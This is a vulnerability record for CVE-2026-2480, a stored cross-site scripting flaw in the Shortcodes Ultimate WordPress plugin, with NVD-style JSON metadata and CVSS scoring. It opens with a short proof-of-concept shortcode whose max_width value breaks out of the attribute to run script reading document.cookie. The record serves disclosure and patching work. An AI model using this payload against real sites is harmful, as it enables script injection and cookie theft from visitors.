CVE-2026-2480

<!-- PoC for CVE-2026-2480 Usage: Log in as a Contributor, create a new post/page, and insert the following shortcode in the editor. --> [su_box title="Test Box" max_width="100px' onmouseover='alert(document.cookie)'" radius="0"] Hover over this box to trigger the XSS. [/su_box]

{"cve": {"id": "CVE-2026-2480", "sourceIdentifier": "[email protected]", "published": "2026-03-31T23:17:08.233", "lastModified": "2026-04-24T18:12:06.580", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Shortcodes Plugin — Shortcodes Ultimate plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'max_width' attribute of the `su_box` shortcode in all versions up to, and including, 7.4.10 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}, {"lang": "es", "value": "El plugin WP Shortcodes Plugin — Shortcodes Ultimate para WordPress es vulnerable a cross-site scripting almacenado a través del atributo 'max_width' del shortcode 'su_box' en todas las versiones hasta la 7.4.10, inclusive, debido a una sanitización de entrada y escape de salida insuficientes en los atributos proporcionados por el usuario. Esto permite a atacantes autenticados, con acceso de nivel de colaborador y superior, inyectar scripts web arbitrarios en páginas que se ejecutarán cada vez que un usuario acceda a una página inyectada."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/shortcodes-ultimate/tags/7.4.9/includes/shortcodes/box.php#L107", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/shortcodes-ultimate/tags/7.4.9/includes/shortcodes/box.php#L113", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3489360/shortcodes-ultimate/trunk/includes/shortcodes/box.php", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61ab7a28-bcca-41ff-89d1-c083c6b0d39f?source=cve", "source": "[email protected]"}]}}